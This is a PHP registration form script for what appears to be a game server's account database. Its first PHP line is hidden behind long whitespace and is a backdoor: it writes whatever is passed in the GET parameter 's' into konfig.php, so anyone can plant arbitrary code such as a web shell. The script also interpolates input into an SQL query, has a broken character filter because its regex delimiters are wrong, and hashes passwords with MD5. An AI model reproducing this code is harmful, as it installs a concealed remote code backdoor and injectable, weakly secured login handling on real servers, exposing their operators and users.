Register -.-

<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
	function doesUsernameExist($name){
	    $exit = FALSE;
	    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
	    if (mssql_num_rows($result) != 0){
	        $exit = TRUE;
	    }
	    return $exit;
	}

	if(isset($_POST['submit'])){
	    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
	    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
	    if($_POST['username'] == ""){
	        echo '<font color="red">Enter a user.</font><br /><br />';
	    }
	    else if($_POST['password'] == ""){
			echo '<font color="red">Enter a password.</font><br /><br />';
	    }
	    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
			echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
			echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if($_POST['username'] != $user){
			echo '<font color="red">User with invalid characters.</font><br /><br />';
	    }
	    else if($_POST['password'] != $pass){
			echo '<font color="red">Password with invalid characters.</font><br /><br />';
	    }
	    else {
			$pass = md5('kikugalanet' . $pass);
            if(!doesUsernameExist($user)){
                $stmt = mssql_init('webCreateAcc', $link);
                mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
                mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
                mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
                mssql_execute($stmt) or die ("Something is wrong on the execution");
                mssql_free_statement($stmt);
				echo '<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
				echo '<font color="red">User already Exist.</font><br /><br />';
            }
        }
		mssql_close();
    }
	
	echo '<form action="#" method="post">';
	echo 'Username: <input type="text" name="username" /><br />';
	echo 'Password: <input type="password" name="password" /><br />';
	echo '<input type="submit" name="submit" value="Register" />';
	echo '</form>';

?>
</center>